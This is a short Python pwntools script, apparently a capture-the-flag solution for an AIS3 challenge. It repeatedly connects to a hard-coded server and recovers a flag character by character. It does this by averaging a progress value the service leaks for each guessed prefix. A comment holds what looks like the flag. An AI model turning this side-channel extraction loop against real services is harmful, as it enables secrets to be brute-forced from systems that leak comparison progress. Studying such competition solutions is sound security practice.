#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux')  # i386, amd64
_ATT = 0
_local = 0

host = "60.250.197.227"
port = "11001"
r = remote(host, port)

s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'

# A1r1ght_U_4r3_my_3n3nnies
mynew = 'AIS3{'
big_char = ''

while True:
	mynew += big_char
	print 'big_char'
	print big_char
	print mynew
	if big_char == '}':
		break
	big_char = ''
	big_num = 0
	for i in s:
		print i
		unit = 0
		for j in range(5):
			r = remote(host, port)
			tmp = mynew + i
			# print tmp
			r.sendline(tmp)
			r.recvuntil('Haha, you lose in ')
			a = r.recvline()
			unit += int(a[:3])
			r.close()
		unit /= 5
		if unit > big_num:
			# print 'big'
			# print big_char
			big_num = unit
			big_char = i

print mynew